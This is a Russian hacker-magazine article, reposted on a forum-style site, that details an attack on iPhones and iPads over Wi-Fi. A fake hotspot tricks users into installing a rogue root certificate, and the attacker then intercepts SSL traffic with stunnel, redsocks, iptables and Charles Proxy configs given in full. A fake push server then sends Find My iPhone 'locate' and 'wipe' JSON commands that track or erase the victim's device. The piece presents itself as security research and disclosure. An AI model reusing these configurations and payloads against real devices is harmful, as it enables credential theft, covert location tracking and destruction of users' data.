| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.190.156.212
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Раскрытие SSL и перехват элементов управления устройствами на базе iOS в Wi-Fi-сетях

Введение

Итак, речь пойдет о мобильных устройствах iPhone/iPad. Не секрет, что в яблочных устройствах есть механизм, негласно отстукивающий в Apple о своих владельцах. При этом «продается» он как уникальная возможность удаленно управлять своими устройствами — например, для определения его расположения на случай, если телефон был потерян или украден. Но то ли из-за лени, то ли из-за угрозы черных вертолетов интернет не богат исчерпывающими описаниями этих механизмов. Интерес к тому, что уходит в Apple, подогревается тем, что связь с серверами Apple наглухо зашифрована, причем контроль подлинности обеспечивается не только сервера, но и местами клиента. Да-да, для каждого устройства заводится свой удостоверенный Apple’ом сертификат! И на первый взгляд даже кажется, что защита этого механизма более чем надежна. Однако я все-таки решил провести небольшое исследование и разобраться в простом вопросе, может ли злоумышленник обойти криптографическую защиту и перехватить контроль над чужим устройством. Забегая вперед, скажу одно: может!

WARNING!

Обрати внимание, что материал представлен исключительно в образовательных целях, чтобы показать изъяны в технологиях, которые на первый взгляд кажутся защищенными. Не повторяй на практике! Это может нанести вред твоему или чужому устройству. Редакция и автор ответственности не несут.

Что такое Push?

Для начала давай разберемся, о какой это технологии для удаленного управления сразу всеми устройствами на базе iOS идет речь. Называется она Apple’s Push Notification Service (APNs), но дальше я часто буду называть ее просто Push. Технически это завернутый в SSL легкий (максимальный размер payload — 256 байт) бинарный протокол, предназначенный для передачи сигналов на устройство серверов Apple в режиме реального времени. Любое устройство на iOS в момент первого запуска выполняет процедуру активации — это необходимо, чтобы только что вытащенный из коробки свежий iPhone или iPad начал полноценно работать. В процессе активации происходит генерация пары ключей, публичная часть которой удостоверяется корневым сертификатом (CA) Apple и сохраняется на устройстве (кстати, это одна из причин, почему для активации нужен интернет). Далее iOS каждый раз, когда обнаруживает, что сервер Apple доступен, пытается установить SSL-соединение на 5223-м порту. При этом происходит двухсторонняя аутентификация: iOS аутентифицирует сервер, используя имеющиеся у нее CA, а сервер аутентифицирует клиента по сертификату, полученному при активации устройства.


Схема аутентификации APNS и iOS-устройства

В публичной документации Apple подробно описано, как разработчики могут использовать APNs для связи со своими приложениями. Но, что странно, нет никаких описаний взаимодействия между APNs и iOS. Расскажем об этом подробнее. После успешной установки SSL-соединения клиент отправляет серверу описание устройства в бинарном виде, по которому сервер проверяет, соответствует ли сертификат тому устройству, которое его пытается использовать. Если сертификат одного устройства применить на другом девайсе, то соединение моментально разорвется. Если проверка проходит успешно, то iOS получает от Apple своего рода ACK-сообщение (0d 00 00 00 00 — его хорошо видно на скриншоте) и… начинает ждать команды.


Получив это ACK-сообщение (0d 00 00 00 00), iOS начинает ждать команды

Что можно посылать через APNs? Например, стандартные извещения для мобильных приложений, хорошо знакомые любому пользователю iOS. Или коротенькое текстовое сообщение, которое выведется на экран устройства. А можно передать следующее особенное сообщение:

{"serverContext":{"tapSendTS":"2012-05-08T18:55:36.668Z","tapSendContext":"fmip"}}

Получив его, устройство, никак не уведомляя пользователя, начинает общение с одним из механизмов Apple iCloud — Find my iPhone (отсюда и сокращение fmip, использующееся в сообщении). Это, напомню, сервис для определения текущего месторасположения телефона.

Ты спросишь: «Как удалось вклиниться в защищенный канал при условии двухсторонней аутентификации и подсмотреть эти нюансы?» Используемый подход, в общем-то, известен. Для того чтобы провести MITM-атаку, на шлюзе размещается удостоверенный Apple’ом сертификат и ключ устройства, а на устройстве — самозваный CA, которым впоследствии будет удостоверен фальшивый сертификат с атакующего шлюза. Когда есть доступ к iPhone’у, провернуть это не бог весть какая задача:

  1. Сначала делается джейлбрейк устройства.
  2. Далее осуществляется вход по SSH под root’ом.
  3. На устройстве устанавливается самозваный CA.
  4. В директории private/var/Keychains запускается предварительно скачанная утилита nimble.
  5. Полученные в результате ее работы файлы — push-bin.crt и push-bin.key — перетаскиваются на атакующий шлюз (с предварительной конвертацией их из DER в PEM).
  6. На шлюзе поднимается утилита stunnel со следующим конфигом:

    [apple_mitm_push_s]accept = 0.0.0.0:5222connect = 127.0.0.1:9500cert = /home/attacker/CA/courier.push.apple.com.pem #фальшивый сертификат push-сервера, подписанный установленным на устройство CAkey = /home/attacker/CA/courier.push.apple.com.key[apple_mitm_c]cert = /home/attacker/CA/push-cert.pem key = /home/attacker/CA/push-key.pem #данные с устройства, которыми мы представляемся Appleclient = yesaccept = 0.0.0.0:9500connect = 17.149.36.129:5223 #один из push серверов Apple

Теперь, используя port-forwarding на шлюзе (через iptables или другой файрвол), заворачиваем весь трафик к 5223-му порту на локальный порт 5222. Если все было проделано верно, то на локальном интерфейсе шлюза становится возможным посмотреть протокол Push в открытом виде. Пункт 3 представляет особый интерес и будет рассмотрен отдельно, а пока немного теории.


Данные, передаваемые по SSL, отображаются в открытом виде!


Перехваченные пароль и логин для доступа к App Store

Как работает аутентификация в iOS?

Операционная система iOS, которая используется в iPhone/iPad, была любимым ребенком с хорошей наследственностью (потомок UNIX). Однако порыв сделать систему доступной для сторонних разработчиков и одновременно с этим желание держать их на коротком поводке привели к тому, что даже для такой интимной задачи, как аутентификация, любые приложения используют заранее оговоренный механизм, встроенный в саму ОС, — демон Security Server (securityd). Он же является менеджером паролей, ключей и сертификатов. Сертификаты, пароли, используемые в родных приложениях Apple (например, почты и браузера), сохраняются в базе SQLite с именем keychain-2.db, которая легко находится в джейлбрейкнутых устройствах. А описание формата закодированных данных и исходники securityd-демона можно найти в открытом доступе на сайтах Apple. Для нас интересны две особенности демона securityd:

  1. В бинарник демона из коробки зашиты CA сертификаты Apple, которые аутентифицирует сервер при полностью зачищенном или удаленном хранилище keychain-2.db. Причем кроме корневых сертификатов Apple здесь можно найти правительственные сертификаты Японии, США и некоторых других стран. В свете этого обстоятельства использование iOS высшими чиновниками становится особенно пикантно.
  2. Контроль подлинности сертификата сервера происходит через последовательную проверку каждым установленным корневым сертификатом (CA). Причем нет никакого приоритета среди установленных CA, так что сервер будет аутентифицирован успешно, если его сертификат может быть удостоверен хотя бы одним CA из хранилища. Это имеет ключевое значение для всего, что будет рассказано далее.

Соответственно, для того, чтобы раскрыть любой SSL-трафик, передаваемый устройством с iOS на борту, нужно решить две задачи: управления трафиком и доставки на устройство своего корневого сертификата. Ниже описан способ, как решить их обе.

WWW

Внедрение CA в iOS

Есть три широко известных способа установки корневого сертификата в хранилище iOS:

  • через браузер;
  • через нативный почтовый клиент;
  • через механизм MDM (Mobile Device Management).

Так как для успешного перехвата данных как минимум требуется доступный и простой контроль над трафиком цели, то MDM и почта отпадают — остается первый вариант. Сценарий, который с высокой долей вероятности может привести злоумышленника к цели, использует:

  1. Особенности интерфейса управления настройками.
  2. Маскировку под системный интерфейс.
  3. Непонимание ~99% пользователей iOS основ технологии аутентификации с помощью открытых ключей.

Животная жажда интернетов! :)

Идея вот в чем — поднять свой хотспот с «бесплатным интернетом». Злоумышленник, визуально маскируя iPhone Splashscreen (то окошечко, которое «выезжает снизу» с предложением залогиниться на hotspot) под системный интерфейс, может предложить пользователю «Принять профиль для выхода в интернет» и выполнить необходимые манипуляции — юзер, сам того не понимая, таким образом установит корневой сертификат. При этом для большего успеха злоумышленник может эффектно прикрываться каким-нибудь раскрученным брендом.

Имея такой инструмент, не слишком сложно, находясь в Wi-Fi-радиусе устройства, подсадить пользователя на нужный хотспот (отключив его, например, через старую утилиту aireplay-ng от всех остальных точек) и подождать, когда несчастный захочет воспользоваться Сетью. Конкретно от пользователя требуется три действия:

  1. Подтвердить подключение к хотспоту.
  2. Нажать «Принять» в открывшемся splashscreen’е.
  3. Дважды нажать «Установить» в открывшемся меню настроек.

 

 

Вот и все. Самое сложное тут — грамотно настроить хотспот. После того как пользователь установит сертификат, hotspot «пускает» его в интернет, а все SSL-сессии фактически становятся скомпрометированы. Здесь стоит вспомнить, что все приложения на iPhone/iPad работают через демон securityd, а значит, нападающий получает доступ сразу ко всему трафику, начиная с почты и заканчивая PayPal и App Store…

Как сделать MITM удобным?

Идея подобной MITM-атаки не сильно моложе асимметричной криптографии и может быть реализована, к примеру, так:

  1. Создается самозваный CA c помощью OpenSSL.
  2. Далее поднимается хотспот (я использовал ChilliSpot, www.chillispot.info). Маскировка splashscreen под интерфейс iPhone упрощается за счет какой-нибудь готовой библиотеки стилей, например iWebkit.
  3. Далее весь интересный SSL-трафик необходимо направить на специальный прокси-сервер. С этим идеально справляется установленная на шлюзе утилита redsocks (darkk.net.ru/redsocks) с вот таким конфигом:

    base{log_debug = on; log_info = on; log = "file:/tmp/reddi.log";
    daemon = on; redirector = iptables;}
    redsocks { local_ip = 0.0.0.0; local_port = 31337; ip = 127.0.0.1;
    port = 31338; type = http-connect; }

    и правилами iptables:

    iptables -t nat -N REDSOCKS
    iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN
    iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN
    iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN
    iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN
    iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN
    iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN
    iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN
    iptables -t nat -A REDSOCKS -d 240.0.0.0/4 -j RETURN
    iptables -t nat -A REDSOCKS -p tcp --destination-port 443 -j REDIRECT --to-ports 31337
    iptables -t nat -A REDSOCKS -p tcp --destination-port 80 -j REDIRECT --to-ports 31339

    Из этих правил следует, что в сети нашего хотспота ни один пакет не попадет в интернет. А вот пакеты на заданные порты (443 и 80) лягут на локальные порты шлюза, где их уже будут ждать проксирующие серверы (для открытого HTTP подойдет Burp Proxy). HTTPS в нашем случае ложится в Redsocks (пользуясь случаем, еще раз благодарю коллегу darkk за столь простое и полезное изобретение).

  4. Redsocks затем передает трафик в Charles Proxy (www.charlesproxy.com), который уже слушает на 31338-м порту. «Чарльз» хорош тем, что на лету генерирует и подписывает сертификаты для всех хостов, к которым клиент пытается обращаться. Для этого он использует загруженную в него приватную половину сгенерированного корневого сертификата.

С этого момента злоумышленник может проводить MITM-атаки на любые серверы, где не выполняется контроль подлинности клиента.

Сидеть! Лежать! Умри!

Теперь, когда в распоряжении есть инструмент для обхода серверной аутентификации, самое время вспомнить об уведомлениях через Push. Так как в технологии используется двухсторонняя аутентификация, то полноценно проксировать данные, не залезая в iPhone за ключами, не получится. Однако стать APNs-сервером, который пройдет аутентификацию на устройстве, уже ничто не мешает. Как только к фальшивому Push-серверу подключится iOS ничего не подозревающего пользователя, злоумышленник может сразу отправить ему сообщение, о котором я уже говорил выше:

{"serverContext":{"tapSendTS":"2012-05-08T18:55:36.668Z","tapSendContext":"fmip"}}

Дата здесь не принципиальна, а ключевое слово fmip отдает команду на запуск сеанса связи с Find My iPhone. Получив сообщение, iOS втихую обращается в iCloud, используя HTTPS (причем используется довольно занятная мутация HTTP с впечатляющим количеством заголовков и специфичными кодами). Первым с устройства приходит POST-запрос (исходный «однострочник» приведен к читаемому виду) со следующим телом (здесь и дальше приведена только самая информативная часть):

{
"deviceInfo": {
"buildVersion": "9B176",
"aps-token": "285cdaаffeb5f8767233ebdfe3a2df07797ae864e586ce902c321f222f84d333",
"passcodeConstraintStr": "Enter a four-digit passcode.",
"deviceColor": "black",
"productVersion": "5.1",
"batteryLevel": 0.1292443,
"deviceName": "iPhone test",
"locationServicesEnabled": true,
"findMyiPhone": true,
"productType": "iPhone2,1",
"udid": "7beafa302d46b670f0657c00af720c347f5f1eb8",
"passcodeConstraint": "simple",
"deviceClass": "iPhone",
"batteryStatus": "Charging",
"passcodeIsSet": true
},
"serverContext": {
"tapSendContext": "fmip",
"tapSendTS": "2012-05-08T21:05:37.132Z"
},
"deviceContext": {
"deviceTS": "2012-05-08T21:05:38.210Z"
}
}

Из него уже можно почерпнуть много интересной информации. Цель этого запроса — узнать команды, которые были адресованы устройству через систему удаленного управления. И тут мы подходим к самому интересному: а что можно послать? Базовый набор обнаруживает себя, если посылать запросы устройству через iCloud. Например, если притвориться сервером, то можно послать команду, которую использует iCloud для определения координат устройства:

{
"endThreshold": 10,
"ackURL": "https://p02-fmip.icloud.com:443/fmipservice/findme/403955807/7be6fa307846b670f0346c00af720c347f5f1eb8/ackLocate",
"decayFactor": 0.7,
"desiredAccuracy": 40,
"startThreshold": 2000,
"locationValidityDuration": 120,
"id": "6df3ff6f-f365-499e-b921-93641206bffa",
"enqueueTimestamp": 1336505766732,
"cmd": "locate",
"includeTrackingInfo": false,
"overridenCommandDomain": null,
"locationTimeout": 120,
"findMyiPhone": true,
"responseTimeStamp": 1336505766732
}

Через некоторое время (если оно нужно для установки координат) устройство отдаст весьма подробный ответ:

{
"locationFinished": false,
"deviceContext": {
"cmdId": "6df56f6f-f445-499e-b921-93641006bffa",
"deviceTS": "2012-05-08T19:36:11.391Z"
},
"deviceInfo": {
"udid": "77be6fa307846b670f0346c00af720c347f5f1eb8"
},
"alt": 141.3043212890625,
"positionType": "Wifi",
"vertAcc": 10,
"longitude": 37.5862605508342,
"latitude": 55.72784808181711,
"statusCode": 200,
"timestamp": "2012-05-08T19:36:09.195Z",
"horizontalAccuracy": 71.1873037658878
}

Но какой толк в GPS-координатах, когда жертва и так висит на специально поднятом хотспоте? smile Гораздо аппетитней другая базовая команда — wipe, которая уничтожает все данные и откатывает устройство к заводским настройкам. Все, что нужно злоумышленнику для проведения такого нападения, — ответить устройству:

{
"message": "",
"id": "06c0a5f9-5126-4428-b875-59acbb956714",
"enqueueTimestamp": 1336510929036,
"cmd": "wipe",
"pin": "",
"overridenCommandDomain": null,
"ackURL": "https://p02-fmip.icloud.com:443/fmipservice/findme/408888807/0346c a302d46b670f0346c00af720c347f5f1eb8/ack",
"responseTimeStamp": 1336510929032,
"verifyURL": "https://p02-fmip.icloud.com:443/fmipservice/findme/408888807/0346c 7802d46b670f0346c00af720c347f5f1eb8/wipeVerify"
}

Здесь нужно понимать, что параметры «408888807/0346c 7802d46b670f0346c00af720c347f5f1eb8/» в URL индивидуальны для каждого устройства (однако они извлекаются из тех адресов, к которым обращается устройство). Поле id — уникальный идентификатор сообщения: если он будет использоваться для какого-то сообщения повторно, то оно не будет обработано. Итак, после получения такого ответа устройство подтвердит получение, отправив на verifyURL сообщение:

{
"id": "06c0a5f9-5126-4428-b875-59acbb956714",
"ackURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/ack",
"deviceContext": {
"deviceTS": "2012-05-08T21:05:39.604Z"
},
"enqueueTimestamp": 1336510929036,
"responseTimeStamp": 1336510929032,
"deviceInfo": {
"buildVersion": "9B176",
"aps-token": "285cda0ffeb5ff767233ebdfe3a4df07797ae864e586ce902c321f222f84d333",
"passcodeConstraintStr": "Enter a four-digit passcode.",
"deviceColor": "black",
"productVersion": "5.1",
"batteryLevel": 0.1292443,
"deviceName": "iPhone",
"locationServicesEnabled": true,
"findMyiPhone": true,
"productType": "iPhone2,1",
"udid": "7beafa302d46bffff0346c00af720c347f5f1eb8",
"passcodeConstraint": "simple",
"deviceClass": "iPhone",
"batteryStatus": "Charging",
"passcodeIsSet": true
},
"overridenCommandDomain": null,
"message": "",
"statusMessage": "OK",
"verifyURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/wipeVerify",
"cmd": "wipe",
"pin": "",
"cmdContext": {
"ackURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/ack",
"message": "",
"id": "06c0a5f9-5126-4428-b875-59acbb956714",
"verifyURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/wipeVerify",
"enqueueTimestamp": 1336510929036,
"cmd": "wipe",
"responseTimeStamp": 1336510929032,
"pin": "",
"overridenCommandDomain": null
},
"statusCode": 200
}

Итог. Или только начало?

Этот материал лишь немного проливает свет на внутреннюю кухню Apple, про которую в публичном доступе нет никакой документации. Чтобы расширить и закрепить успех, необходимо продолжать исследования в нескольких направлениях:

  1. Поиск возможностей доступа к данным через интерфейс удаленного управления. Есть все основания предполагать, что одними командами wipe и locate дело не ограничивается.
  2. Поиск способов создания элементов присутствия на скомпрометированных устройствах (загрузка поддельных обновлений как один из вариантов).
  3. Оптимизация процедуры доставки сертификата.

Кроме этого, в статье обозначен новый социальный вектор нападения на мобильные устройства — внедрение самозваного корневого сертификата, который неплохо бы изучить на всех популярных платформах. И в 1001-й раз было доказано: даже хорошая криптография в руках того, кто не знает, что это, подчас теряет всякий смысл. А Apple’у, несмотря на колоссальную и, в общем, хорошо проделанную работу над безопасностью, остается порекомендовать пересмотреть политику равноправия всех корневых сертификатов и как-то научиться доносить до своей аудитории, что не все корневые сертификаты одинаково полезны. Только вот реально ли это?




Источник: http://www.xakep.ru/post/59194/default.asp
Категория: Общие Статьи | Добавил: aka_kludge (06.12.2012) | Автор: Алексей Трошичев
Просмотров: 2892 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

21:37
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика